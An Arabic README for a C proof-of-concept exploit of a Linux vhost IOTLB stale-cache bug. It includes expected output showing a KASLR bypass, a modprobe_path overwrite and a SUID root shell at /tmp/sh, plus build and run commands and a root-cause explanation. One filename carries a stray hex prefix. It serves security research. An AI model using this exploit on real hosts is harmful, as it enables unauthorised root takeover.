
إثبات مفهوم بلغة C للثغرة CVE-2026-74580: يستغل ذاكرة التخزين المؤقت القديمة لبيانات vhost IOTLB الوصفية لاستبدال modprobe_path والارتقاء إلى صلاحيات الجذر على مضيفات Linux بمعمارية x86-64.
الكود الأصلي وملف readme من: https://github.com/zhangutah/security-research
المخرجات المتوقعة:
./poc
=== vhost stale IOTLB metadata cache -> modprobe_path write ===
[*] static: _stext=0xffffffff81000000 asm_exc_de=0xffffffff81001030 modprobe_path=0xffffffff83731920
[*] modprobe_path before: "/tmp/pwn"
[*] Step 1: KASLR bypass via IDT[0]
[*] reading IDT[0] @ 0xfffffe0000000000
[+] asm_exc_divide_error runtime 0xffffffffa4e01030, slide 0x23e00000
[+] runtime modprobe_path @ 0xffffffffa7531920
[*] Step 2: overwriting modprobe_path with a marker
[+] kwrite_str: "/tmp/pwn" -> 0xffffffffa7531920
[*] Step 3: verifying via /proc/sys/kernel/modprobe
[*] modprobe_path after: "/tmp/pwn"
[*] Step 4: Privilege Escalation
[+] Triggered request_module() call.
[+] SUID shell created at /tmp/sh
[*] Exec shell at /tmp/sh ...
sh-5.3# whoami
root
تقوم vq->meta_iotlb[] بتخزين تعيين IOTLB الكائن خلف كل منطقة بيانات وصفية لـ vring
(desc / avail / used). ولا تعمل VHOST_SET_VRING_ADDR وVHOST_SET_VRING_NUM
على إعادة تعيين ذلك المخزن المؤقت. وعند ربط جهاز IOTLB، يمكن لـ vq نشط أن يترجم
vring أُعيدت تهيئته عبر تعيين لم يعد يغطيه.
لا تحتوي vhost_vq_meta_fetch() على فحص للنطاق، وتُمرَّر النتيجة إلى
__copy_to_user() / __copy_from_user().
يمكن الوصول إلى المخزن المؤقت القديم نفسه من داخل ضيف (guest) عندما يعمل vhost في وضع
device-IOTLB (VIRTIO_F_ACCESS_PLATFORM / vIOMMU) ويقوم الضيف بإعادة تعيين virtqueue
عبر VIRTIO_F_RING_RESET. هذا المسار ليس هو PoC الحالي.
de845981da67poc.c هو PoC خاص بالمضيف x86-64 يستهدف /dev/vhost-vsock. يفتح صدفة بصلاحيات الجذر
بـ euid=0. وينشئ /tmp/sh بصلاحيات suid root. احذف الملف بعد الاختبار يدويًا!
cc -O2 -Wall -Wextra -o poc poc.c
./poc
يستخدم البحث عن الرموز، بالترتيب: $SYSTEM_MAP، /boot/System.map-$(uname -r)،
/usr/lib/modules/$(uname -r)/build/System.map. يجب أن يكون modprobe_path
موجودًا؛ ويعود asm_exc_divide_error إلى عنوان ثابت إذا لم يكن موجودًا.
يجب أن تكون العملية قادرة على فتح /dev/vhost-vsock. بعض الصور تأتي مع هذه العقدة
بصلاحيات 0666؛ وأخرى بصلاحيات 0660 root:kvm.
شغّله فقط على نظام اختبار قابل للتخلص منه تملكه.